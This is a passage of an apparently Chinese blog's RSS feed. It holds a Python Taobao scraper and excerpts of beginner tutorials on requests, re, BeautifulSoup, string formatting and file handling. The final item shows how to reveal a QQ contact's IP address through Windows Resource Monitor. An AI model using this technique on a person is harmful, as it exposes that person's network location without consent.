&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{:^10}{:^10}{:^30}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;goods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;篮球&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://s.taobao.com/search?q=&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;goods&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ii&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;htmlget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;amp;s=&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="c1"&gt;#切换商品下一页面，观察得到每两个页面隔44&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;htmlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;htmlreadin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果：&lt;/p&gt;</description></item><item><title>python之BeautifulSoup模块</title><link>https://saucer-man.com/python/12.html</link><pubDate>Wed, 13 Dec 2017 02:06:00 +0000</pubDate><guid>https://saucer-man.com/python/12.html</guid><description>&lt;p&gt;前面我们介绍了requests库，简单入门了re正则表达式的基本用法，这次要介绍的是Beautiful Soup库，这是一个用于解析html或者xml文档的库，是解析、遍历、维护标签树的功能库。&lt;/p&gt;
&lt;p&gt;尽管re正则已经可以处理和提取绝大多数的文档，但是配合Beautiful Soup库可以给我们带来极大的方便。&lt;/p&gt;
&lt;h4 id="一beautiful-soup库的安装"&gt;一、Beautiful Soup库的安装&lt;/h4&gt;
&lt;p&gt;Beautiful Soup库的安装最简单是用pip安装&lt;/p&gt;</description></item><item><title>python3 re模块与正则表达式</title><link>https://saucer-man.com/python/11.html</link><pubDate>Thu, 23 Nov 2017 02:05:00 +0000</pubDate><guid>https://saucer-man.com/python/11.html</guid><description>&lt;p&gt;在python3爬虫（一）中，我总结了requests库的相关方法和一些使用举例，通过requests模块，我们可以获取网页的html或者其他形式的内容，但是这些内容太过于繁杂，所以我们要对这些内容进行处理和提取，比如如果我们想要下载网页中存在的图片，那我们需要找出所有内容中以.jpg或者.png等结尾的字符串并提取出来。&lt;/p&gt;</description></item><item><title>python3之requests</title><link>https://saucer-man.com/python/10.html</link><pubDate>Mon, 20 Nov 2017 02:01:00 +0000</pubDate><guid>https://saucer-man.com/python/10.html</guid><description>&lt;h1 id="python3爬虫一requests库的学习"&gt;python3爬虫（一）requests库的学习&lt;/h1&gt;
&lt;p&gt;前段时间利用零散时间在mooc上跟着嵩天老师学习了python爬虫的相关知识，于是想把自己的学习经历写下来，对爬虫的相关知识做一个归纳总结，文中如果有错误或者是不严谨的地方，欢迎指出和交流。&lt;/p&gt;
&lt;p&gt;下面我们开始介绍requests库。&lt;/p&gt;
&lt;p&gt;requests库是一个常用的用于http请求的模块，它使用python语言编写，可以方便的对网页进行爬取，是学习python爬虫的较好的http请求模块。&lt;/p&gt;</description></item><item><title>python之字符串格式化方法%s和format函数</title><link>https://saucer-man.com/python/9.html</link><pubDate>Mon, 06 Nov 2017 02:00:00 +0000</pubDate><guid>https://saucer-man.com/python/9.html</guid><description>&lt;p&gt;在写python程序时，我们经常需要对字符串的格式进行处理，在python2.6之前都是用%S的方法，之后有了更加方便快捷的format函数来处理字符串，这里我对两种方法进行了总结。&lt;/p&gt;
&lt;h2 id="1-s方法"&gt;&lt;strong&gt;1. %S方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;先来看一个例子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(&amp;quot;my name is %s and I am %d years old&amp;quot; %(&amp;quot;xiaoming&amp;quot;,18))
my name is xiaoming and I am 18 years old
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面的%和%d是格式符，分别表示一个字符串和一个数字，后面的%表示进行格式化操作。于是元组里面的内容用来表示前面字符串中的真实值。&lt;/p&gt;</description></item><item><title>python之文件处理</title><link>https://saucer-man.com/python/8.html</link><pubDate>Sun, 05 Nov 2017 01:54:00 +0000</pubDate><guid>https://saucer-man.com/python/8.html</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;打开文件&lt;/strong&gt;
- 建立磁盘上的文件与程序中的对象相关联
- 通过相关的文件对象获得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文件操作&lt;/strong&gt;
- 读取
- 写入
- 定位
- 其他：追加、计算等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;关闭文件&lt;/strong&gt;
- 切断文件与程序的联系
- 写入磁盘，并释放文件缓冲区&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="1-打开文件"&gt;&lt;strong&gt;1. 打开文件&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;open:
variable=open(&amp;ldquo;name&amp;rdquo;,&amp;ldquo;mode&amp;rdquo;)
name:打开文件名
mode:打开模式
其中打开模式有如下几种：
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;mode&lt;/th&gt;
 &lt;th&gt;含义&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;r&lt;/td&gt;
 &lt;td&gt;只读，如果文件不存在，则输出错误&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;w&lt;/td&gt;
 &lt;td&gt;只写，如果文件不存在，则自动创建新文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;a&lt;/td&gt;
 &lt;td&gt;表示附加到文件末尾&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;rb&lt;/td&gt;
 &lt;td&gt;只读二进制文件，若文件不存在，则输出错误&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;wb&lt;/td&gt;
 &lt;td&gt;只写二进制文件，如果文件不存在，则自动创建新文件&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;ab&lt;/td&gt;
 &lt;td&gt;附加到二进制文件末尾&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;r+&lt;/td&gt;
 &lt;td&gt;读写&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;举例：&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;打开一个名为&amp;quot;text.txt&amp;quot;的文件&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;&amp;gt;&amp;gt; file=open(&amp;#34;text.txt&amp;#34;,&amp;#34;r&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="2-文件读取"&gt;&lt;strong&gt;2. 文件读取&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;read()返回值为包含整个文件内容的字符串&lt;/li&gt;
&lt;li&gt;readline()返回值为文件下一行内容的字符串&lt;/li&gt;
&lt;li&gt;readlines()返回值为整个文件内容的列表，每项是以换行符为结尾的一行字符串
示例：将test.txt文件内容输出&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;test.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出文件前五行内容：&lt;/p&gt;</description></item><item><title>获取qq好友ip地址</title><link>https://saucer-man.com/information_security/42.html</link><pubDate>Thu, 15 Jun 2017 03:09:00 +0000</pubDate><guid>https://saucer-man.com/information_security/42.html</guid><description>&lt;h3 id="1首先打开qq然后启动任务管理器"&gt;1、首先打开qq,然后启动任务管理器&lt;/h3&gt;
&lt;h3 id="2点击性能"&gt;2、点击性能&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbc66b85.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="3双击打开资源监视器对话框"&gt;3、双击打开资源监视器对话框&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbc81955.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="4打开网络选项卡选中qq这里我用的是tim"&gt;4、打开网络选项卡，选中qq,这里我用的是TIM&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbcc4132.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="5点击tcp连接查看qq的详细信息"&gt;5、点击TCP连接，查看qq的详细信息。&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbce6d25.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="6右击本地点击选择列的选项出来如图所示选项列表"&gt;6、右击本地，点击选择列的选项。出来如图所示选项列表&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbd1098b.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="7选中发送或者接受都可以此时就可以监听qq的网络数据进程"&gt;7、选中发送或者接受都可以，此时就可以监听QQ的网络数据进程。&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfbd2d27b.jpg" alt=""&gt;&lt;/p&gt;
&lt;h3 id="8这个时候我们发一个消息给好友便可以看到如图所示发送了4个字节的数据对方的ip地址也显示出来了"&gt;8、这个时候我们发一个消息给好友，便可以看到如图所示发送了4个字节的数据，对方的ip地址也显示出来了&lt;/h3&gt;</description></item></channel></rss>